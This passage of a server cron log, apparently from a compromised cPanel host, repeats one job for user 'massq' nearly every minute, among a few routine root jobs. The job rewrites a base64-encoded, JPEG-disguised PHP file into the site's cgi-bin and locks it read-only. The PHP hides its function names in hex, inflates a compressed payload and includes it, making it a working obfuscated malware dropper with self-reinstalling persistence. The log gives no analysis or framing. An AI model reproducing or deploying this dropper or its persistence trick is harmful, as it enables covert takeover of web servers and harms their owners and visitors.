uY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:51:01 server CROND[17032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:52:01 server CROND[17097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:53:01 server CROND[17152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:54:01 server CROND[17198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:55:01 server CROND[17263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:55:01 server CROND[17264]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:55:01 server CROND[17265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:56:01 server CROND[17421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:57:02 server CROND[17522]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 03:57:02 server CROND[17523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:58:01 server CROND[17623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:59:01 server CROND[17680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:00:01 server CROND[17735]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 04:00:01 server CROND[17734]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 04:00:01 server CROND[17737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:00:01 server CROND[17738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:00:01 server CROND[17736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:01:01 server CROND[17887]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 04:01:01 server CROND[17888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:01:01 server run-parts(/etc/cron.hourly)[17887]: starting 0anacron
Apr  9 04:01:01 server run-parts(/etc/cron.hourly)[17900]: finished 0anacron
Apr  9 04:02:01 server CROND[18066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:03:01 server CROND[18142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:04:01 server CROND[18204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 